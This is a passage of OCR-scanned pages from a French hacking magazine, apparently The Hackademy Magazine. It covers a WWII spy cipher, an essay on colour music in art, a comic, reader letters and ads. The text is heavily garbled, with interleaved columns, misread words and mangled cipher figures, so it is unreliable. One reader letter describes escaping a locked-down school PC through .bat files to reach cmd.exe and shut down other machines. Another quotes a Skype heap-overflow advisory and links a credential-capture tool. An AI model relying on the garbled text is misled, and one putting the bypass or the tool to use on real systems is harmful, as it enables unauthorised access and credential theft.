premiéres lettres du mot clé déterminé et qui serviront a "encap-

suler" ['alphabet de base.
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L'alphabet de base se présentait comme dans la figure 2.

A B C D E
il e R

N O P Q R
8 43 47 70 73

F. 9. B 1 J
42 46 49 3 72

s T U ¥V W
5 B 131741

ET‘-'

N
3

K L W
12 16 40
P R
45 48

Differents codes permerttaient aussi de distinguer lindice des nombres ainsi que les signes de

ponctuation.

Ainsi, pour crypter le message suivant :

Il va pleuvoir demain
On obtiendrait la figure 3.

! G S

s, M SR

Soit les groupes suivants:
31617 84716 19131 74337
32194 0839...

Le message ainsi crypté est
ensuite surchargé, par addi-
tion, au moyen de la clé préece-
dente, ce qui donne:

31617 84716 19131 74337
32194 Alphabet de base|5823
30334 34003 35760 38358
urchiffrement
46440 14040 43|34 09097
60442 Message crypté

Le message expédié par code
morse etait donc uniguement
constitue des blocs suivants

o= R S |

s e 1843

Les ristuies

Si cette maniére de faire per-
mettait de genérer une cle de
surchiffrement assez performante.
elle presentait toutefois deux
défauts majeurs.

Le premiére était celui du
teMps Nnécessaire pour sa réa-
lisation. Il n'existait ni calcu-
lette ni ordinateur pour effec-
wer ce rravail. Les textes du
livre de référence eétaient
recopies sur des feuilles de
papier i I'aide d'une machine 3
ecrire et la clé émit consti-
tuee de maniére manuelle,
Ceci prenait énormément de
temps et pour accélérer la
transcription des messages, les

- s - | R

&« B SR

cryptanalystes sur la piste. Le
rapport de perquisition de la
police fédérale de juin |944,
retrouvé dans ses archives,
donne linventaire compler du
materiel perquisitionné chez
I'un des membres du réseau et
cest avec effroi que l'on se
rend compte de la source
exceptionnelle d'informations
qui s'y trouvait. On peut appeler
cela de la négligence.

Les agents “"secrets” ne sont
pas nécessairement que des
etoiles. C'est dans les films que
l'on trouve des agents sur-
doués et attentifs. Dans la réa-
lite, de nombreux "barbouzes"
sont incompeétents en dehors

Le second défaut demeure
bien entendu celui du cloison-
nement de données sensibles.
Certains membres du réseau
ne devaient que générer des
cles de surchiffrement et ne
connaitre en aucun cas l'alpha-
bet de base. D'autres ne
devaient connaitre que 'alpha-
bet de base et le résultat du
surchiffrement. Ces mémes
personnes avaient également
pour mission de transmettre
les messages par radio.

Pour differentes raisons, une
personne connaissait toutes
ces informations et c'est juste-
ment chez elle que la police
fedérale perquisitionna un
beau matin, Le réseau était dés
lors demantelé et les crypran-
lystes disposaient de pratique-
ment toutes las sources néces-
pour dechiffrer les
transmissions entre la Suisse
et Moscou,

saires

Cet article a pour but d'appor-
ter une information un peu his-
torique, certes, dans un
domaine particulierement d'ac-
tualite, tout en fournissant
quelques idees a celles et ceux
qui souhaiteraient développer
leurs propres algorithmes. Mais
restons toutefois trés attentifs
aux fait que les moyens techni-

ques actuels permettent de

pratiquement casser tous les
cryptages existants sauf si la cle
de codage est aussi longue que
le texte a crypter!

45440
60447
Wous wvenez davoir un petit
apercu dun exemple de cryptage
parmi @nt dautres, utilisés pen-
dant la derniére guerre mondiale.

14040 43134 09097

membres du réseau antici-
paient en dactylographiant des
textes a l'avance. C'est aussi
ces documents et les traces
de foulage sur les feuilles de
papier vierges qui mirent les

de leurs missions et commet-
tent des erreurs grossieres.
L'affaire du "Rainbow
Warrior® est un exemple
frangais qui dépasse tout
entendement.

Alors, bon courage !
Charles-André ROH

Conseil el developpement

en confidentialice de lnfarmation
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« La desintegration de I'atome fut dans mon ame comparable
a la désintégration du monde entier. Les murs les plus épais
s’'effondrerent soudain. Tout devint incertain, vacillant, et peu
e _ substantiel. Je n’aurais pas été surpris si une pierre s’était
S I Ciissoute dans I’air, devant moi, et était devenue invisible. »

B Ainsi parlait Wassily Kandinsky, I'un des pionniers de I’art
abstrait. L'ere atomique qui commencait, en ce début du XX
siecle, eut donc une influence considérable sur I’art.

Du spirituel dans l'art, par
at dune nouvelle pein
ure,c elle de |d resonance
intérieure des couleurs et

des formes, Un seul art

limage
artifices. Paul

Pasl Rice. juge in Tor (Fugoe en rouge), 1987

ls ne maintenaient la de pierres polies, ¢ n'est ment, dans le sillage de
construction quen sourdine  pas un jeu mais le résultat  Cézanne et de Seurat, les
et le spectateur restait logigue dune méditation rapports entre lumiére
libre, comme devant la sur la forme ! la réflexion et couleur, et la percep-
""" nature, de percevoir ou non  cubiste repose essentielle-  tion simultanée, polypho-
une armature mathémati-  ment sur lg réduction de nique. Sa théorie de la
que (alors que les) cubistes, toutes les proportions et simultandié eut des retom-
eux, poussent les détermi- aboutit a des formes pro- bées considérables. Son
nations numeériques  Jectives primardiales, tableau intitulé Les fendtres
jusqu'aux  plus  petits comme le rectangle, le sur ko vile fit une profonde
N détails (...). Si le tableau trigngle et le cercle. » Impression sur Paul Klee qui
S esente finalement l'as-  Vers 1910 Robert lerencontradPansen 1912,

B pect dune configuration  Delaunay fut un des pre-  Diés lors Paul Klee va travail-

de cristaux tronchants ou  miers a étudier assidld- ler sur la possibilité d'une

[T T,
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AU cceur de la perception
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qussi, on trouve un champ
suffisant pour lg recherche
exacte, et les portes qui y
donnent sont
depuis quelgue temps. Ce
qui déjad accompl
hour ia musigue avant la
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forces
sous-jacentes ; on apprend
la préhistoire du visible. On
apprend & fouiller les pro
fondeurs, on apprend d
On apprend

an apprend d

mettre g nu
A démantrer,
anaiyser. »
Klee graﬂ:
de Bach,

transcription

Connalsseur
réalisa  une

visuelle
exacte

des premiéres
mesures de son adagio
four
clavecin en sol

1922

- |
de la Sixieme sonate
Vidlon 2 |I

majeur en

La peinture
animeée

Farallelerment, les Dadaistes
Viking Eggeling et Hans
Richter
peinture maobile,
sant, selon [héo
Doesburg, réve
Bach de trouver un équiva-
lent optique a la structure
termnporelle d une construc
tion musicale ».

ls peignaient de longs
rouleaux de toile, quils
faisaient défiler devant
des spectateurs. lls pen-
salent peinture, mais
volonté de mouvemen
et de progression dans le
temps ne pouvait gue les

faicaient de la
réali-
Van

ge

& e
W .':-.

[

ner a cinéma.
L'écran 5erai-t e meilleur
support a leur ballet
formes abstraites,
Egpeling se référait a Bach
et aux régles polyphon
gues du contrepoint gu'i
|:-r'|'_ comme bases de son
alphabet de signes visuels
En 1924, au bout de trois
de Egpeling
seul  film

dime

dlla

labeur,
acheva son
Diagonal Symphony, qu
j 2 1es at d

dure / minutes et demie.
Cétat de la « musigue
pour les yeux. On y assistait

efeiddeCeld o dLTO) o avtiiedsds
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méme temps, se deve-
loppe une nouvelle tecn
nique qui se rapproche
des réves de Moholy
MNagy :le film sonore syn-
chronisé. Alors que les
premiéres tentatives de
sonorisation Vitaphone
des films utilisaient des
phonographes  synchro-
nises
technologie optique de
Iri-Ergon et
Klangfilm traduisait des
ondes sonores en motifs
lumineux qui etaient cap-

avec limage, la

Tobis-

tés de maniere photochi-
mique sous forme de
Tinuscules traces graph
ques  sur
bande qui se déroulait
parallelement aux images
de la pellicule.

On avait commencé des
la fin du XV

QDserver les empraintes

siecle a
de wvibrations sonores,
C'est sous le nom de
Klangfiguren (figures
que le scientifi-
que Ernst Chladni dés
gnait, vers | 790, des ima
montrant es

créées par

SONGCres

ges
empreintes

les fréquences sonores

sur une fine plague cou

verte de :]If'_f-lll.'ll'E e

-\.;.j-\.;.: £
Rudolf Plfenminger, un bri
coleur
vaillart

cormime

de génie qui tra-
simultanément
llustrateur et
projectionniste, se
liarisant aver les
techniques du cinéma,
travailla ensuite pour des
firmes cinématographi
ques ou |l
réalisait des films dani-
mation. Selon la légende,
souhartant

fami-

el L
dallla

dessinait et

sonoriser les
animations expérimenta-
es quil realsat en
travail,

mais ne pouvant se payer

dehors de

50T

studio,
Pfenninger s'installa a sa
table avec un oscillos
cope et étudia les formes
visuelles produites par
les différents sons. Aprés
beaucoup de recherches,
il parvint enfin,en 1929, a
I50ler une margue gra-
phique correspondant a
chague note. ||
obtenu [mage precise
de l'onde permettant de
reproduire a volonte un
son précis. A partir de 13
il dessina une série de
formes qui, une
réduites et collées sur la
pellicule donnaient une
entierement
synthétique. Les courbes
de Pfenninger sont ae
véritables signes typogra-
phiques qui peuvent se
combiner pour produire
des sons de fagon linguis-

Nl musiciens ni

avait

fols

bande-son

tique.

Oskar Fischinger qui, vers
1930, inventa sa propre
méthode de transcrip-
tion de formes géomeétni-
ques en sons, ira plus loin
que Pfenninger en met-
tant ces formes en scéne
dans de prodigieux films
d'animation.

Bedoly Plewwinger deddinant wwe bande danore, 195E.
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Castel a fabriguer le cla-
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un clavier dor

Couleurs

harmaonieu

c1ans

Lateur

Au cceur de la perception

e b

A la meme époque, lan

glais Richard Bradley mit
au point un dispositif
visuel 3 MIrQIrs
angulaires qui anticipart le
mecanisme du kaléidos-
cope breveté par Dawvid
Brewster en 1819,

Au debut du XIX® sigcle,
'ambition romantigue,
héritiére de la Revolution
Francaise, était de créer
un art total pour tous,
qui toucherait la totalité
des sens, en produisant
des sons, des couleurs,
voire des parfums. Le but
&tait de faire communier
les spectateurs dans une
extase abolissant I'indiv

dualité pour atteindre la
conscience  cosmique.
On voulart créer la musi-
que des spheres, mythe
Pythagoricien de
monie supréme, langue
de la vibration pure.

deux

'har-

La fée electricite
Louis Favre, pionnier ae
la musique des couleurs
en France,
contenta

ne se
pas de
construire un clavier de
couleurs électrique vers

| 885, il théorisa
ment,

ongue-
dans plusieurs
ouvrages, sur la fraternite
des peuples réalisée dans
la concorde des sens : «
Par son moyen,

tous les
peuples arrivent a posse
der des éléments psychi
ques communs et des elé
ments dentente. Lart éta
blit un lien entre les hom-
mes. La solidarité des pro-
duits de l'esprit humain
établira la solidanté des
esprits et des ceeurs, mani-
festation de

universelle, »

la solidorité

Pour Félix Le Dantec, un
autre philosophe de la
synesthésie, les appareils
électriques vont permet
tre le débordement d'un
SeNns  sur | e
Dantec invente la notion
de langage-couleur, lan

I'autre.

gage-timbre, langage-pal
per, langage-adeur, lan
gage-saveur. || envisage le
passage dun langage a
un autre, par une simple
traduction d'un langage a
'autre. Une langue uni
verselle de la sensation
qui aboutirait a la trans-
mission directe de la

pensée. C'est le fantasme
de la un
terme qui vient juste de
voir le jour, en 1882, dans
les travaux de Frederck
W H. Myers. Les techno-
logies de la transmission

Lélépathie,

sans fil font penser a ['im
minence d'un nouvel dge
de la communication.

La modélisation électr-
que de la perception
confirme
précybernétiqgue de la
Color Music.

En 1895, dans sa Théorie

I'"orientation

physique de la pensée,
William  MNicat
les réflexes cognitifs a un

recuisart

jeu de force électrigue et
'émotion a une variation
detat ou de potentiel ou
simplement évolution élec
trigue. |l de
construire, sur le principe
d'un résonateur photo
sensible, un il artificiel
rudimentaire desting aux
aveugles mais dans lequel
Il voyait la possibilite
d'une prothése de la
visian, hyperperfor-
mante, élargie a I'ensem-
ble de la population, une
vision télépathigue.

R
evait
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(Hande Bragdon, décor falde -
dodcofigue Sown e Song awd
Ligitt Featinals, 1975
Synesthésie
americaine
Pour Prométhde, poéme
du feu, Opus 60, 1911, le
compositeur russe
Alexandre Scnabine avait
prévu un clavier de cou
eurs pour interpréter
Jne partie de sa compo-
sition, Lenchalnement des
couleurs, synchronisé a la
musique, était noté sur la
partition. La premiére
représentation de son
ceuvre au Carnegie Hall
eut lieu le 20 mars 1915.
a scene etait éclairée par
le Chromola, un clavier
chromatique basé sur le
principe du Colour Organ
d Alexander Wallace
Rimington, et dont les
touches etaient religes a
des lampes projetant des
couleurs sur un grand
ecran,

Cet événement fut déasif
pour Thomas Wilfred,
luthuste, Claude Bragdon,
architecte, Van Deering
Pernne, peintre et Harry
Barnhart, musicen, qui for-
merent le proupe des
Prometheans deux ans
plus tard lls se considé
ralent comme une asso-
ciation ésoténique pour le
développement du nouvel
art de la couleur mobile, |la
Colour Music,

Entre 1915 et |98,
Bragdon avait organisé,
avec Arthur Farwell, Harry
Barhart, Walter K. Brice et
quelgues autres, des fétes
nocturnes en plein ai; les
Song and Light Festivals,
Ces fétes, proches du
Community Music
Mouvement, (qui vise 2
créer [harmonie sociale
par le chant choral) réu-
nissent 2 Rochester et
New York plusieurs mil-
liers de chonstes dans un
décor illumingé de lampes
multicolores. Pour ces
gigantesques evénements,
Claude Bragdon réalisa
dimportantes peintures
sur verre, charpées de
motifs crnermentaux
empruntés a ses recher
ches sur la quatrieme

dimension. Cétat des
images kaléidoscopigues
géantes dont la symétrie
état censée provoquer
une extase collective, afin
de renforcer lesprit de
communauté gui  avait
tendance a se dissoudre
dans [lanonymat des
mépgapoles. Le fantasme
fusionnel de Brag

developpé dans Cosmic
Sex and Cosmic Beauty,

OO0 Sera

pubhé en 1930,

En octobre 1918, Claude
Bragdon proposa la
construction d'un
Experimental Theatre
Plusieurs machines avaient
deja eté construites par
es Prometheans, Clest
finalement le Clavilux de
Wilfred qui remporta la
mise. Cétait un appareil
de projection chromo
cinétique a grande échelle
qQui projetait, au moyen
d'un  mécanisme com-
plexe de prismes mobiles,
de lentilles kaléidoscopi-
ques et de miroirs Incur-
veés (proche du piano
optophonique de Vladimir
Baranoff-Rossiné), des for-
mes lumineuses colorées
SUr Un écran panoramique.
Les premiéres performances
eurent ieu a lExperimental

fﬂqrﬁﬂ.r ook doee, g dee filme oBamy. 195]
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[heatre Islang,

| ong
mas 1| deviendra wvite un
des éléements de lesthet-
gue spectaculaire des gran-
des expostions intermatio-
nales,
En 1930, lors de louver-

ture du premier Art
Institute of Light au Grand
I:Ill e lrﬁ‘\j':..h";'r'

York, Wilfred inaugura son

Lentra

e

projet Lumia, The art of

Light. C'était un ensemble
comprenant studios den-
registrement, laboratoires
physiclogiques,  ateliers
choregraphiques, clinique
de chromcthérapie, ains
quune ggantesque salle
de projecuon od les bal-
lets lumineux, dans leur
lent et majestueux derou-
lement, emportaient le
public dans un espace
nfini de couleurs.

Matthew

| uckiesh, théoricien de la

LAmMerican
color music , écrvar, dans
The Lightning Art (1917, le
manifeste dun nouvel art
technologique  dépassant
la peinture abstraite, sus-
ceptible de repousser les
limites de lesprit humain
en favorisant de
facultés extra-senscrielles.
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The MNew Scence of Colour
(1%16), pensart que le teleha

IMiC Colour ade etart PrOCONE,

A laube des  amess
goparite | hormas Viired susata
de nouveau nterét Ses mady
res etaent exposees dare es
musees e d étart en contact avec
Raph Metrer, lédtewr de |a

_________

Au cceur de la perce

Concerts de

musiclen

modvement
de

resentations au

centaine

Morisson Planetarium de

San Francisco

de films

étaient précurseurs du

Trips Festival, premier ras

ST |-.| ement

shows, musique, p
LSE.
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beatnick et

dant le
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Des touristes débonnaires jovent tranguillement aux
cartes autour d‘vn gueridon dans un salon bonbonniére
tapissé de velours rouge copitonné. Les bouchons de cris-
fol clignotent sur les carafes emplies de vin cro-
moisi. Mais lo piéce chovire. Le sol en lino @

> - [ - damiers noir el blanc tournoyant
Jﬁ & i P S en son centre, mglmﬂ’l :
' -1 n AL ..-p ﬂ"n fout, Imﬂ!ﬁ,

CAFTAIH CAVERN PRESENTE |

LES CARNETS DU UD\"AGEUE‘

* vaisselle et les Inu les
tentures festonnées de
galons dorés. La piéce o
o disparu, loissant
e N un vide inexplicable dans

! | |o maison. On oppelle le Mime Detective.
J}i  Grand, mince, en justoucorps de lycra noir ef

f; :
4

2 || J— thmauu hout de forme huit- reflets, il arrive ’ij.'
BT e e | - -ﬁ; { dﬁlﬁdﬂﬂﬂﬁ&hd dmwm Pmllnoptere ' E
gl ) ~im ‘i’ orde swhpﬁntud’ml toif, puis, dassunl

: le long d'une gouttiére, souple comme
™ un félin, sinyeux comme un serpent, il
saute dans une ruelle étroite et téng-
& 4| breuse, cernée par des empilements
= de bicoques sordides. Il connait par-
faitement les mulfiples niveaux de
perceplion de celle architecture
biscornue et tarabiscotée. Sans
mal, il retrouve les touristes sains
ef saufs ovant qu'ils ne soient

- | 1

o digérés por le porc d'uttrac-
b 12 e fion qui s'avére un peu
o détraqué mais qu'il o pu
A3 demasquer

d temps.
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Dites-nous tout : voice@thehackademy.net

Censure et paranoia
Bonjour

La censure et la parancia sont deux mots que vous connaissez
bien. L'un parce qu'il vous empéche de faire paraitre certains arti-
cles et le deuxieme puisque certaines entreprises auquel vous
avez annonce |'existence de failles dans leur infrastructure infor-
matique vous ont assimile a des pirates informatiques et ont réagi
en consequence,

Yoici un exemple concret ou je me suis sentit dans la méme situa-
tion que vous:

Jai profité d'une aprés-midi ol je n'avais pas cours pour aller sur
internet au CDI. Mon but etait de me renseigner sur les emeutes
en banlieues.

Je suis tout d'abord allé sur le site de Java pour voir la page du
projet  Looking Glass (bureau en 3D pour
Linux/SolarisWindows). e n'ai méme pas eu le temps de cliquer
sur un lien hypertexte que la dame s occupant du CDI s'est mise
derriere moi et ma posee plein de questions puis a demande i un
professeur ayant de bonnes connaissances en informatique de
venir pour voir ce gu'il en pensait.

lls sont arrivés a cette conclusion: il est sur le site de |ava, Java est
un langage de programmation, il doit s'y connaitre en piratage,
donc arréte vite avant d'avoir des problémes.

lls ont tellement peur que des éléves fassent absolument n'im-
porte quoi sur le réseau qu'ils sont devenus méfiants, susceptibles
et presque agressifs, Cela s'appelle la parancia si je ne me trompe pas.
Le professeur m'a méme défendu de consulter des sites de sécu-
rite VWWindows (nos machines tournent sous Windows XP), donc
en clair c'est de la censure. Il est vrai que les postes ont été mis
a notre disposition dans un but scolaire mais il est aussi vrai gque jau-
rais visité ogame.fr{un jeu en ligne) personne ne serait intervenu.

le leur aurais bien repondu que mon éthigue m'interdit quelcon-
que piratage mais |'aurais parlé dans le vide donc j'ai préféré
mabstenir. Le logiciel utilise pour mettre en place des postes
"sécurisés” empéche théoriqguement de lancer l'invite de com-
mande puisqu'il blogue beaucoup de fonctions(dont Démarrer
>Exécuter). Cependant il est possible de creer des fichiers .bat
donc de lancer cmd.exe. A partir de |3 on peut sans probleme
eteindre nimporte quels ordinateurs avec shutdewn (j'ai testé
sur un pc allume gue personne nutilisait bien sir) et on peut
surement faire beaucoup plus.

Une fois les développeurs du logiciel en question avertit auront
fixe ce probleme, je ne me génerais pas pour faire savoir que c'est
mal qui suls A I'uﬁgine du correctif,

Le jour ol I'on prénera la discussion au lieu de la répression et
la censure, peut etre quil sera plus facile de sécuriser les syste-
mes infermatiques. Qu'en pensez vous !

Nous pratiquons dans une certaine mesure ['outo-censure, comme 4
peu prés tout le monde sur papier ou sur le Net Il y a une légére
nuence, toute démocratique : la censure consiste a interdire une publi-
cation, e qui n'est pas possible directement en France @ mains d'avoir
des roisons béton (haine raciale, etc.). Par contre, ce droit de publier
implique une responsabilité et ne met pas & lNabri de poursuites péna-
les ou civiles, s'il y a une infroction a la loi ou si cela porte préjudice d
guelgu'un.

Ur il est vrai gque la loi actuelle ne va pas dans le sens du full-discio-
sure, et de la discussion ouverte des problémes de sécurité, Cela 5'ex-
plique en effet en partie par un certaines paranoia en matiére de
sécurité informatique : on pense que les gens qui 5y intéresse, en
dehors des cercles professionnels reconnus, sont forcément des délin-
guants — alors qu'ils ne représentent, d'aprés ce que nous observons,
qu'une minorité. Mais il ne faut pas non plus négliger les enjeux com-
merciaux des sociétés qui vendent des logiciels et qui ne se sont pas
encore donné les moyens de réagir correctement ¢ lo découverte de
foilles de sécurité dans leur produits. Toutes les divuigations publiques
de failles ne se font d'ailleurs pas de maniére si constructive.
Cependant, cet état de fait évolue. L'Hackademy semble par exemple
accueillie avec plus de sérieux guil y a seulement quelques années,
notamment lorsque nous signalons des failles. Cette paronaia, comme
d'autres, est tout de méme entretenue auprés du grand public — ou,
devrais-je dire, des consommateurs, C'est pourquoi il fout former, expli-
quer et démystifier.

Quant au probléme technique que tu souléve, je crois qu'il est simple-
ment insoluble. |l y a tont de maniéres différentes de faire s'exécuter
quelgue chose sur un ordinateur qu'il est presque impossible de pro-
paser a lutilisateur des applications complexes tout en le contraignant

techniquement @ ne pas en sortir. Nl y ouro toujours un moyen de pas-
Ser a cote.

Une lectevr vours propose un challeage

Des invitations pour la Nuit du Hadk @ gagner !

Tyhins, 'outeur d'un logiciel de stégonagrophie vous propese de reverser
son systéme, en plusieurs étapes : il y en a pour tous les niveaux ! Pour cho-
que étape, le comité de rédaction désignera lo solution lo plus élégante, qui
sera publiée et se verro récompensée por une entrée gratuile o lo Nuit du

Hack 2006.

Retrouvez toutes les explicotions sur notre forum |




Impossible ?

|e suis en train de lire le n°2 de Hackademy Magazine et je tenais
i vous féliciter pour la qualité générale des articles.

Toutefois quelle n'est pas ma surprise dans l'article "Bugtrag
Digest” de lire : "l'exécution de code selon Skype est impossible”
C'est vrai que Skype le dit, mais ladvisory dit exactement le
contraire (et je peux te confirmer que c'est vrai) :
htep:/ilists.grok.org.uk/pipermail/full-disclosure/2005-
October/038 | 48 html

"Exploitation

We were able to design a proofof<concept exploitation code
targeting Windows XP SP2 and Linux clients using a single UDP
packet. Remote exploitation is olso possible through TCF
Due to favarable environmental conditions, this particular  heap aver-
flow *is* also exploitable on heap-protected systems such as
Windows XP 5P2 ond some Lnux distributions. This is
possible because Skype stores function pointers in  the heap, and
those pointers can be overwritten by the  overflow.”
Sinon en complément de l'article sur la capture des authentifiants
via MSGINA, veoici un logiciel 2 connaitre dans la méme veine :
heep:/ hwww.d--b.webpark.pl/dreampackpl_en htm
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Clad ne pense pars qu'av C...

lls sant nombreux les films dans lesquels apparaissent des politiciens "cor-
rompus” ou aux conduites peu orthodoxes, des hommes d'influence profi-
ton! abusivement du pouvoir politique...

Notre systéme démocratique est donc i frioble que l'inconscient collectif en
vient & exprimer, por des fictions, ce sentiment solidement ancré qui s fro-
duit par |'idée qu'un homme politique puisse élre "véreux". Si l'idée peul
degodter, elle ne chogque pas.,

De la, on tire une conclusion.

Si lo démocratie que souhaite le peuple est entendue de telle maniere qu'il
ne porait pas du tout aberrant, ou si peu crédible, de vair un de ses repré-
senfants abuser de ses pouveirs, c'est qu'elle est subjectivement comprise,
c'est o dire sous-entendue, comme faible, vulnérable.

Lorsque I'on n'oura qu'ironie ou déception pour un film qui représente un
politicien ohuser de son pouvoir, tout comme on le fait lorsque I'on voit des
montages ratés ou des effets abusifs, celo signifiera que nous avons collec-
tvement muri.

Contribuez 2 wiki.thehackademy.net!

Un nouvel espace a té crée pour vous
sur notre site Internet, afin de rassem-
bler les ressources nécessaires a la
bonne compréhension de la securite
informatique et du hacking, tant dans
leurs aspects techniques que culturels.
Mous vous invitons a participer 3 cette
mise en commun, puisqu'il s'agit d'un
Wiki : un ensemble de pages que cha-
cun peut compléter ou madifier.

Pour y acceder, vous devez cependant

; . futurs articles.
resoudre un petit challenge,

A vous !
Les login et mot de passe demandes

correspondent en effet a cette repre-
sentation quelque peu obscure :

Guestbook - Boite a idées - Quicknotes

Chague fois gue guekyu’un vous aide & frouver une réponse, 2ur e forum ow sur ke chat,
penser 4 prendre en un minute pour consigner Nnfarmation i |

Bienvenue sur le wiki® de Zi Hackademy |BETA

Cet espace se veut un prolongement communautaire de nos publications. A vous, lecteu
savez faire. Ce wiki peut devenir une base de connaissances trés précieuse, sl vous joue
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The HACKADEMY

§engage pour a baisse du prix des magazines informatiques

Nous avons décidé d'offrir & nos lecteurs la possibilité d'acquérir nos magazines a prix fortement réduit.
The Hackademy Magazine peut ainsi étre acheté pour 4,5 euros (au lieu de 5,9 euros,
soit 1,4 euros d'économie sur chaque numéro !)

Comment en profiter ?

Il suffit de se rendre sur notre site et de commander le prochain numéro, avec votre CB ou par chéque, avant le 20 octobre.,
Vous le recevrez directement chez vous, et méme deux jours avant les marchands de journaux |

Pour de meilleures conditions encore, vous pouvez aussi vous abonner, souscrire & nos packages et découvrir nos promotions |

Comment parvenons-nous a faire baisser les prix a ce point ?

Lorsque vous commandez directement chez nous votre numéro, nous n'avons pas a verser de commission
aux messageries de distribution.

L'économie réalisée vous est alors intégralement reversée sous forme de réduction.

C'est le méme principe que I'abonnement, mais accessible désormais au numéro,

Pourquoi le faisons-nous ?

Parce que nous estimons que la presse informatique, surtout dans le domaine de la sécurita,

est beaucoup trop chére (7,45 euros pour MISC, 7,50 euros pour hacking par exemple).

Fideles a notre ideéal de diffusion du savoir pour le plus grand nombre, nous souhaitons donc étre a I'origine

d'un grand mouvement de baisse des prix en donnant I'exemple. Avec 84 pages sans aucune publicité,

The Hackademy Magazine est déja le moins chére des mags de sécu de qualité. Mais nous voulons aller plus loin encore.

Participez vous aussi 4 ce mouvement en commandant votre prochain Hackademy Magazine (ou en vous abonnant)
sur notre site www.thehackademy.net

Vous pouvez aussi utiliser le bulletin ci-dessous, avec des frais forfaitaires de traitement de 1 euro par bulletin :

MHCKD3

Envoyez votre bulletin accompagné de volre réglement a l'ordre de DMP, 26 bis rue Jeanne d'Arc, 94160 Saini-Mandé

Je commande le prochain numéro pour 4,5 euros r
|arrét des commandes pour le N°S e 24 Mars 2005} _— - L ._l

Je m'abonne pour un an pour 27 euros (soit 4,2 euros e numém}__,.f-- — —- r

Je m'abonne pour deux ans pour 49 euros (soit 4,1 euros le numéro) / - |

g

| Packages abonnements + cours de the hackademy School ! | |

Je souscris un package intit pour 99 euros et
(abonnement 1 an + les cours newbie et newbie+ de thehackademy school) - 4|

Je souscris un package | LUV U pour 119 euros '3

(abonnement 2 ans + les cours newbie et newbie+ de thehackademy school + le t-shirt vintage intrusion.exe) f;‘f:" :

-,

Toutes ces commandes sont également accessibles en ligne sans frais de traitement, Frais de traitement -~ [ 1€ 'g
Profitez-en et faites-le savoir | Ensemble, nous ferons baisser le prix des magazines ! - o’

AR PAIEMENT
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The Hackademy Mag s'ouvre
aux professionnels !

Fort de sa ligne éditoriale pointilleuse et exigeante, The Hackademy Magazine
a su se faire reconnaitre comme la réféerence en matiere d’information
et d’analyse du domaine de I'informatique et de la sécurité informatique.

VOICI ce fue nous vous proposons :

e une cible de lecteurs avertis et fideles

e une couverture publicitaire adaptée a vos besoins sur une ou plusieurs de nos publications
e des tarifs performants

e une diffusion dans le magazine ou sur le site web de I'Hackademy

Quel que soit votre domaine d’activité nous serons heureux
de vous compter parmi notre public d’annonceurs

Formule The Hackademy Magazine The Hackademy Prog
Page unique en intérieur 800 euros 500 euros
Double page 1400 euros 1100 euros
Quatrieme de couverture 1200 euros | 1000 euros
7, 3 de couverture 1000 euros | 900 euros

« Visibilité » 2000 euros

{une page dans

thaque publication)

« Super Visibilité » 3000 euros
(4° de couv. sur trois

publications)

Remise de 20% sur la premiére commande publicitaire.

' Pour plus d’informations, contactez-nous au 01 53 66 95 28
l ou ecrivez a publicite@dmpfrance.com
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